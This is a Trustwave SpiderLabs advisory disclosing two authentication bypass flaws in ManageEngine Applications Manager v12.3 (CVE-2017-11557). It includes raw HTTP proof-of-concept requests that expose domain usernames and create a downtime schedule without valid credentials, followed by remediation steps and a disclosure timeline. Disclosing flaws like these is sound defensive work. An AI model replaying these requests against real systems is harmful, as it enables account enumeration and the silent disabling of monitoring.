Trustwave SpiderLabs Security Advisory TWSL2017-013: Multiple Authentication Bypass Vulnerabilities in ManageEngine Applications Manager Published: 07/26/2017 Version: 1.0 Vendor: ManageEngine (https://www.manageengine.com/) Product: Applications Manager Version affected: v12.3 (Build No:12300) Product description: ManageEngine Applications Manager is an availability and performance monitoring software that helps businesses ensure high availability and performance for their business applications by ensuring servers and applications have high uptime. The application performance management capability includes server monitoring, application server monitoring, database monitoring, web services monitoring and an array of other application management capability that will help IT administrators manage their resources. Finding: Multiple Authentication Bypass Credit: Elvin Hayes Gentiles of Trustwave SpiderLabs CVE: CVE-2017-11557 Authentication Bypass #1: It is possible for an unauthenticated user to view the list of domain names and usernames used in a company’s network environment by visiting the link: http:///userconfiguration.do?method=editUser. This will help an attacker to speed up the bruteforcing process. PoC: HTTP Request: GET /userconfiguration.do?method=editUser HTTP/1.1 Host: 10.10.0.38:9090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 HTTP Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID_APM_9090=E72F077EE750D8BFBF59299FFA9CCCBE; Path=/; HttpOnly Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Thu, 25 Aug 2016 01:40:16 GMT Connection: close Content-Length: 96404 ...[TRUNCATED]... GOODWILLSEW.COM\Awinter ...[TRUNCATED].. Authentication Bypass #2: It is possible for an unauthenticated user to create/modify/delete a downtime/maintenance schedule using the Downtime Schedule located here: http:///downTimeScheduler.do?method=viewMaintenanceTask&readonly=false. As per the vendor’s description, “Downtime scheduler provides you an option to schedule a time period for which monitoring is not needed.” PoC #1 (Accessing the Downtime Scheduler page with a valid session ID): HTTP Request: GET /downTimeScheduler.do?method=viewMaintenanceTask&readonly=false HTTP/1.1 Host: 10.10.0.38:9090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 HTTP Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID_APM_9090=897DB476908560F84DB2B728284382D7; Path=/; HttpOnly Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Thu, 25 Aug 2016 01:53:26 GMT Connection: close Content-Length: 123531 PoC #2 (Successful creation of the downtime schedule): HTTP Request: POST /downTimeScheduler.do HTTP/1.1 Host: 10.10.0.38:9090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.0.38:9090/downTimeScheduler.do?method=viewMaintenanceTask&readonly=false Cookie: JSESSIONID_APM_9090=897DB476908560F84DB2B728284382D7 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 953 method=createMaintenanceTask&customTaskServeTime=201608242053&taskName=SpiderLabs&taskDescription=Pentest&taskStatus=enable&taskMethod=daily&timezone=Asia%2FManila&taskStartTime=3%3A00&taskEndTime=4%3A00&taskEffectFrom=2016-08-25+9%3A53&numbers=1&taskCount=&startDay%280%29=1&startTime%280%29=&endDay%280%29=1&endTime%280%29=&startDay%281%29=1&startTime%281%29=&endDay%281%29=1&endTime%281%29=&startDay%282%29=1&startTime%282%29=&endDay%282%29=1&endTime%282%29=&startDay%283%29=1&startTime%283%29=&endDay%283%29=1&endTime%283%29=&startDay%284%29=1&startTime%284%29=&endDay%284%29=1&endTime%284%29=&startDay%285%29=1&startTime%285%29=&endDay%285%29=1&endTime%285%29=&startDay%286%29=1&startTime%286%29=&endDay%286%29=1&endTime%286%29=&customTaskStartTime=2016-08-24+20%3A53&customTaskEndTime=2016-08-24+20%3A53&taskGroup=allmonitors&searchByName=&maintenanceCombo1=10000070&maintenanceCombo1=10000072&maintenanceCombo1=10000023&maintenanceCombo2=10000071 HTTP Response: HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://10.10.0.38:9090/downTimeScheduler.do?method=maintenanceTaskListView&tabtoLoad=downtimeSchedulersDiv Content-Type: text/html;charset=ISO-8859-1 Vary: Accept-Encoding Date: Thu, 25 Aug 2016 01:58:06 GMT Connection: close Content-Length: 283

Redirecting to http://10.10.0.38:9090/downTimeScheduler.do?method=maintenanceTaskListView&tabtoLoad=downtimeSchedulersDiv

Remediation Steps: No official patch is available. To limit exposure, network access to the application manager should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation. Revision History: 02/08/2017 - Vulnerability disclosed to vendor 04/12/2017 - Vendor provides expected patch date to Q2 07/10/2017 - Requested update from vendor (no fix available) 07/26/2017 - Advisory published About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.